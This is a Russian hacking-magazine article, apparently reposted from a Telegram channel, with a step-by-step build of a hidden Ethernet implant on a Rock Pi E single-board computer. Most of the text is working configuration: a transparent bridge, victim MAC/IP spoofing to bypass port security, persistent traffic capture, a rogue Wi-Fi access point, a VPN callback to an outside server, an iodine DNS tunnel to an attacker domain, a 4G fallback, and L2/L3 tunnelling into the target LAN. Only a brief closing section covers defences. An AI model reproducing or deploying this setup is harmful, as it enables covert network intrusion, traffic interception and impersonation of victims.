Хакер - Девайс-невидимка. Встраиваемся в локальную сеть с помощью «невидимого» хакерского устройства
hacker_frei
s0i37
Содержание статьи
- Реализация
- Динамическая настройка сети
- Статическая настройка сети
- Port security
- Пассивный сниффинг
- Доступ по Wi-Fi
- VPN access
- Доступ через DNS-туннель
- Доступ по 4G
- Закрепление
- L3-доступ
- L2-доступ
- Как защититься
Получить несанкционированный доступ к чужому устройству можно не только с использованием USB-портов, но и через Ethernet-соединение, которых в современных офисах предостаточно. В этой статье мы подробно расскажем, как злоумышленники могут пробраться в локальную сеть с помощью специального «невидимого» девайса и как этот девайс устроен.
INFO
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак.
Сколько раз ты замечал, что где‑то в публичном месте стоит принтер, IP-телефон или даже полноценный компьютер? Все эти устройства объединяет то, что они, как правило, подключены к местной локальной сети уже знакомой нам витой парой.

Что, если потенциальный злоумышленник воспользуется оставленным без внимания сетевым портом и подключит вместо легитимного устройства некий специальный девайс, который предоставит ему удаленный доступ из любого уголка мира? Причем подключит это хакерское устройство не отключая основное, а вклинив его «посередине».

В качестве такого готового устройства можно использовать Packet Squirrel. Его нетрудно собрать на базе одноплатного компьютера Rock Pi E.

Плата идеально подходит под рассматриваемую задачу и не содержит ничего лишнего: тут два Ethernet-порта, Wi-Fi и USB. Rock Pi E имеет также опциональную поддержку PoE, что позволит использовать устройство без питания по USB, которого может не оказаться в удобном для подключения месте.
Нам потребуется программный хаб, который будет в точности копировать каждый принятый пакет с одного Ethernet-порта на другой. Тем самым он позволит вклиниться в сеть вне зависимости от места его подключения. Во время пересылки пакетов с одного порта на другой устройство может выполнять любые действия так, что жертва ничего не заметит. Кроме того, конфигурация хаба должна отвечать следующим требованиям:
- весь пересылаемый через устройство трафик записывается;
- через сеть, к которой подключается устройство, открывается VPN-туннель до управляющего сервера, обеспечивая доступ в эту сеть из любого уголка мира;
- с использованием DNS-эксфильтрации открывается еще один VPN-туннель, даже если нет прямого выхода в интернет;
- устройство предоставляет доступ в сеть через встроенный Wi-Fi-адаптер;
- устройство может выйти на связь через подключаемый 4G-модем.
И разумеется, все это должно работать автоматически, сразу после подключения устройства, так как времени на ручную настройку у злоумышленника может не быть. Для возможности физического подключения в любом месте можно использовать дополнительный патч‑корд.

РЕАЛИЗАЦИЯ
Настроить одноплатный ПК таким образом, чтобы он мог вклиниться в физическое соединение, не так уж и сложно. Сначала нужно отключить дефолтные компоненты, которые могут нам помешать:
update-rc.d network-manager disable
update-rc.d dhcpcd disable
Теперь необходимо сконфигурировать автоматическое объединение интерфейсов eth0 и eth1 в сетевой мост:
/etc/network/interfaces
iface eth0 inet manual
iface eth1 inet manual
auto br0
iface br0 inet dhcp
0 bridge_ports eth0 eth1
metric 2
Это минимальная конфигурация. Теперь аппаратная закладка уже готова работать в режиме прозрачного моста. Все, что придет на один Ethernet-порт, будет в точности копироваться на другой порт, и наоборот. Но злоумышленнику не просто нужно пассивно передавать трафик через устройство. Оно должно еще как‑то предоставить ему удаленный доступ. Для этого следует внести необходимые настройки внутренней сети. В зависимости от ситуации можно использовать разные методы.
Динамическая настройка сети
Часто компании в своих сетях используют автоматическую настройку сети посредством DHCP. Получив собственный IP-адрес, устройство будет не просто «глупым» хабом, оно сможет во время пересылки пакетов еще и самостоятельно работать в сети.
Поскольку закладка подключается на длительное время, а сети могут «переезжать» на другие VLAN’ы, в идеале атакующему необходимо сделать так, чтобы устройство всегда было готово обновить свои сетевые настройки. Для этого нужно прописать принудительное обновление аренды IP-адреса, а также регулярный запрос к DHCP-серверу в случае неудачи:
/etc/dhcp/dhclient.conf
send dhcp-lease-time 60;
retry 60;
Статическая настройка сети
Далеко не всегда в локальных сетях присутствует DHCP-сервер. Особенно это справедливо, если злоумышленник пробрался в серверный или даже технологический сетевой сегмент и поместил туда свою закладку. В таком случае он может заранее прописать на устройстве настройки сети:
/etc/network/interfaces
auto br0
iface br0 inet static
bridge_ports eth0 eth1
hwaddress ether 00:11:22:33:44:55
address 10.0.0.10
netmask 255.255.255.0
gateway 10.0.0.1
dns-nameservers 10.0.0.2
dns-search corp.local
metric 2
Port security
В корпоративных сетях на активном сетевом оборудовании часто применяется достаточно простая, но действенная защитная мера, когда доступ к сетевой розетке разрешен только с определенного MAC-адреса. В таком случае трафик от жертвы все равно будет проходить, ведь bridge прозрачно пересылает пакеты с оригинальным MAC-адресом. Но доступа в сеть непосредственно с самого Packet Squirrel, использующего дополнительный IP-адрес, уже не получить.
Однако данное устройство одним концом подключается к ПК жертвы, а значит, оно знает доверенный MAC-адрес. Следовательно, если в каждом исходящем пакете от Packet Squirrel на одном порте исправить MAC-адрес отправителя на MAC-адрес жертвы, а на другом — на MAC-адрес шлюза, то пакеты станут неотличимы от легитимных.
Реализовать такую, на первый взгляд, простую концепцию на деле не так‑то легко, поскольку требуется, чтобы устройство одновременно с прозрачной передачей трафика в обе стороны могло и генерировать трафик от лица жертвы. Добиться этого можно было бы, например, так:
sudo ifconfig br0 hw ether "$victim_mac"
sudo ifconfig br0 "$victim_ip/24"
sudo route add -net default gw "$gw_ip"
Так реализуется простое копирование устройством MAC- и IP-адреса жертвы. Но увы, в таком случае ядро Packet Squirrel не сможет пересылать пакеты из‑за конфликта одинаковых MAC-адресов. Требуется как‑то обмануть ядро. Можно не менять собственный MAC-адрес устройства, но подменять MAC-адреса позднее, когда пакеты уже сгенерированы и «вылетают» из сетевой карты:
sudo ifconfig br0 "$victim_ip/24"
sudo route add default gw "$gw_ip"
#gw direction
sudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j snat --to-src "$victim_mac" --snat-arp
sudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat --to-dst $(getmac -i br0)
#victim direction
sudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j snat --to-src "$gw_mac" --snat-arp
sudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat --to-dst $(getmac -i br0)
В такой конфигурации пакеты с одного сетевого порта уйдут с MAC-адресом жертвы, а с другого — с MAC-адресом шлюза. Но пакеты от жертвы сквозь устройство уже не пройдут, ведь MAC-адрес принудительно сменяется еще и на входящих пакетах.
Зеркалирование пакетов с помощью bridge в данном случае неудобно, поскольку образуется один логический сетевой интерфейс (br0) на оба Ethernet-порта. Атакующему нужно иметь возможность отправлять пакеты независимо в каждый из сетевых интерфейсов, но при этом не теряя возможности прозрачного копирования пакетов между интерфейсами. Добиться этого можно с помощью traffic control:
sudo ifconfig eth0 0 promisc up
sudo ifconfig eth1 0 promisc up
sudo ifconfig eth0 "$victim_ip/24" # Работа от имени victim в сторону gw (LAN)
#sudo ifconfig eth1 "$gw_ip/24" # То же самое, но в сторону victim
route add -net default gw "$gw_ip"
sudo tc qdisc add dev eth0 ingress
sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1
sudo tc qdisc add dev eth1 ingress
sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0
sudo iptables -A INPUT -i eth0 -p icmp -j DROP # Не отзываться на входящие ICMP gw->victim
sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN RST -j DROP # Игнорировать ACK-пакеты и не слать на них RST, чтобы не рвать соединения victim
С такими настройками устройство может вклиниться в легитимное физическое подключение, прозрачно зеркалируя трафик в обе стороны и отправляя в это же самое время пакеты от имени жертвы.

Это позволит злоумышленнику обойти защиту Port Security и вообще стать полностью невидимым в сети.
Пассивный сниффинг
Так как девайс может прозрачно пересылать через себя трафик, нетрудно организовать его автоматическую запись:
/lib/systemd/system/tcpdump.service
[Unit]
Description=tcpdump
[Service]
ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
Автоматический запуск записи трафика при загрузке можно реализовать через сервис:
systemctl enable tcpdump.service
systemctl start tcpdump.service
Поскольку записывается весь трафик, дамп может быть весьма внушительным. Поэтому сохранять его лучше в дополнительный раздел на SD-карте:
/etc/fstab
/dev/mmcblk0p3 /media/sd ext3 defaults 0 0
Доступ по Wi-Fi
Так как рассматриваемое нами устройство имеет встроенный Wi-Fi, его можно использовать для организации удаленного доступа. Для этого сетевые настройки беспроводной сети указываются в следующем файле:
/etc/network/interfaces
auto wlan0
iface wlan0 inet static
address 11.0.0.1
netmask 255.255.255.0
Настройки беспроводной сети для клиентов — в файле
/etc/dnsmasq.conf
domain=packet_squirrel.local
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
И сама беспроводная сеть настраивается так:
/etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=packet squirrel
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=s3cr3tP@ssw0rd
Автозапуск всего необходимого для Wi-Fi:
systemctl unmask hostapd.service
systemctl enable hostapd.service
systemctl start hostapd.service
После включения аппаратной закладки атакующий может получить доступ в сеть, просто подключившись к устройству по Wi-Fi.
VPN access
Атакующий может сделать так, чтобы созданная им аппаратная закладка выходила на связь по VPN с некоторым опорным сервером:
cp vds_config.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds
Конфигурационный файл при этом может быть следующим:
client
proto tcp
dev tap
remote 1.2.3.4 1194
user nobody
<ca>
</ca>
<cert>
</cert>
<key>
</key>
route-noexec
cipher AES-128-CBC
keepalive 10 60
comp-lzo
persist-key
persist-tun
Устройство будет пытаться выйти на связь с опорным сервером через текущую или внешнюю 4G-сеть (об этом расскажу чуть позже).
Доступ через DNS-туннель
В ряде случаев из локальной сети нет прямого доступа в интернет и способ, описанный выше, может не сработать. Однако очень часто резолв произвольных внешних DNS-зон разрешен. Поэтому VPN-канал может быть реализован с помощью обычных DNS-запросов:
/lib/systemd/system/iodine.service
[Unit]
Description=iodine
[Service]
ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
Автозапуск DNS-туннеля обеспечивают следующие команды:
systemctl enable iodine.service
systemctl start iodine.service
Даже если из внутренней сети нет прямого выхода в интернет, но есть разрешение произвольных DNS-имен, устройство построит VPN-туннель до опорного сервера, через который потенциальный злоумышленник получит обратный доступ в сеть.
Доступ по 4G
Устройство сконфигурировано так, чтобы злоумышленник мог получить доступ в интернет через точку закрепления, посредством обычного TCP или DNS-туннелей. Но если же из локальной сети совсем нет никакого выхода в интернет, то может быть организован канал передачи данных по независимому 4G через подключаемый внешний USB-модем.

Реализовать это можно буквально в пару‑тройку строк в конфиге. Нужно добавить автозапуск DHCP для сетевого интерфейса 4G-модема. Современные HiLink-модемы определяются как простое Ethernet-устройство, что максимально облегчает настройку:
/etc/network/interfaces
...
allow-hotplug eth2
auto eth2
iface eth2 inet dhcp
metric 1
Благодаря директиве metric 1 маршрут 4G-интерфейса будет приоритетнее маршрута Ethernet-сети, и устройство не потеряет выход в интернет при наличии двух дефолтных маршрутов.
Подытожим. В каждом случае Ethernet-backdoor пытается выйти на связь через опорный выделенный сервер и предоставляет злоумышленнику удаленный доступ во внутреннюю сеть:
- по VPN через текущую сеть;
- по VPN, используя DNS-эксфильтрацию через текущую сеть;
- по VPN через внешний канал 4G;
- через Wi-Fi.
Теперь устройство полностью настроено и готово к работе в самых разных ситуациях.
ЗАКРЕПЛЕНИЕ
Итак, злоумышленник находит оставленный без присмотра компьютер и незаметно подключает к нему свое устройство.

Да, компьютер на картинке выше реально не потеряет доступа в сеть и даже не увидит промежуточного узла. Rock Pi станет прозрачно пересылать трафик жертвы и параллельно откроет атакующему сетевой доступ в как в сторону компьютера жертвы, так и в сторону локальной сети.
Аппаратную закладку можно подключить где угодно — от обычного компьютера или принтера до серверной. Все зависит от того, куда успел получить доступ потенциальный злоумышленник. Небольшие размеры позволяют спрятать аппаратный бэкдор даже внутри другого устройства.

Аппаратную закладку можно поместить даже внутри IP-телефона, расположенного в переговорке. Такие помещения часто бывают свободными на короткое время, чем может воспользоваться потенциальный нарушитель.
Конфигурация устройства позволяет использовать девайс не только в модели «посередине». Его можно просто включить одним любым портом в свободный Ethernet-порт для поддержания удаленного доступа.

Далее, используя все возможные каналы доступа (VPN, DNS, Wi-Fi, 4G), атакующий может удаленно зайти на устройство и уже с него получить доступ в сеть.
Для развития дальнейших атак злоумышленнику не нужно каждый раз разворачивать на устройстве весь хакерский софт. Закладка может быть лишь шлюзом и просто пересылать пакеты от атакующего в сеть.
L3-доступ
Теперь настала пора рассмотреть, как подобное устройство может быть настроено в режиме шлюза, на котором организован простой L3-доступ в целевую сеть. Для этого потребуются только два компонента.
Первый — это транзит пакетов. При включении этой опции ядра сетевые пакеты в соответствии с маршрутизацией смогут проходить с одного интерфейса (VPN) на другой (Ethernet):
/etc/sysctl.conf
net.ipv4.ip_forward=1
Второе — это SNAT, выполняющий корректировку IP-адреса отправителя для пакетов, меняющих сетевой интерфейс. В данном случае идущих с VPN на Ethernet-порты:
iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
iptables-save | sudo tee /etc/iptables.up.rules
/etc/network/if-pre-up.d/iptables
#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules
Это дает атакующему чрезвычайно простой и удобный доступ к сети, в которой помещена закладка. Все, что требуется на стороне атакующего, — просто добавить маршрут через Packet Squirrel.
route add -net 10.0.0.0/8 gw packet_squirrel
ping 10.10.10.10

Телефон атакующего, никак не связанный напрямую с ноутбуком жертвы, подключен к единой VPN-сети с Packet Squirrel. На телефоне задается маршрут с Packet Squirrel в качестве шлюза, после чего атакующий получает прямой сетевой доступ во внутреннюю сеть.
Несомненно, для атакующего это чрезвычайно удобно, и этот метод может применяться как для скрытого получения доступа, так и для развития дальнейших атак. Но если говорить об атаках, то это лишь L3-доступ (сетевой уровень OSI), не дающий всех возможностей в плане атак, поскольку злоумышленник не находится во внутренней сети, а использует Packet Squirrel в качестве шлюза. Чтобы оказаться непосредственно в сетевом сегменте и иметь возможность реализовать полный арсенал атак, присущих Ethernet-сетям, от ARP до NetBIOS spoofing, атакующему потребуется получить L2-доступ (канальный уровень OSI).
L2-доступ
Чтобы получить полноценный L2-доступ в сетевой сегмент, в который помещена закладка, атакующему нужно создать еще один дополнительный туннель. Самый простой способ это сделать — воспользоваться SSH:
/etc/ssh/sshd_config
PermitRootLogin yes
PermitTunnel ethernet
Так как на устройстве Ethernet-интерфейсы уже подключены в сетевом мосте (br0), то атакующему остается лишь добавить новый L2-интерфейс от SSH в этот мост:
sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
packet_squirrel> brctl addif br0 tap1
packet_squirrel> ifconfig tap1 up
Сетевой мост будет копировать каждый сетевой пакет с Ethernet-интерфейсов в этот виртуальный интерфейс. На удаленной стороне атакующего тоже появится новый L2-интерфейс, на который будут приходить все доступные Packet Squirrel пакеты и который будет для атакующего L2-порталом во внутренний сетевой сегмент:
attacker> sudo ifconfig tap1 up
attacker> sudo dhclient tap1
Теперь, оказавшись непосредственно в сетевом сегменте с Packet Squirrel, злоумышленник может получить внутренний IP-адрес по DHCP. А может для большей незаметности использовать IP-адрес жертвы:
packet_squirrel> sudo ifconfig br0 0
attacker> sudo ifconfig tap1 $victim_ip/24
Миниатюрное устройство, спрятанное где‑то в недрах корпоративной сети, за одним из системников, принтеров в коридоре, IP-телефонов в переговорке или даже под толщей проводов серверной, способно скрытно от имени жертвы (с ее MAC- и IP-адреса) взаимодействовать с узлами внутренней сети. Злоумышленник при этом может использовать внутренний IP-адрес сетевого сегмента локальной сети, в то время как сам будет находиться где‑то очень далеко.
Вообще, подобное устройство можно использовать и для удаленных внутренних пентестов, когда заказчик просто подключает подобную коробочку в нужный сетевой сегмент. И больше никаких действий не требуется — не придется просить заказчика согласовывать допуски, исполнителям не понадобится долго добираться до места или подключаться через неудобные VPN.
КАК ЗАЩИТИТЬСЯ
Использование Port Security в чистом виде не позволит злоумышленнику получить доступ к свободной сетевой розетке, ведь он не будет знать нужный MAC-адрес. Если задействовать еще и 802.1X, то у злоумышленника не будет возможности и вклиниться посередине. Ведь в момент подключения Packet Squirrel потребуется хоть и на короткое время, но разъединить сеть, а тогда потребуется повторно аутентифицироваться.
Также мерой защиты может быть физический контроль над Ethernet-портами и устройствами в локальной сети предприятия.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei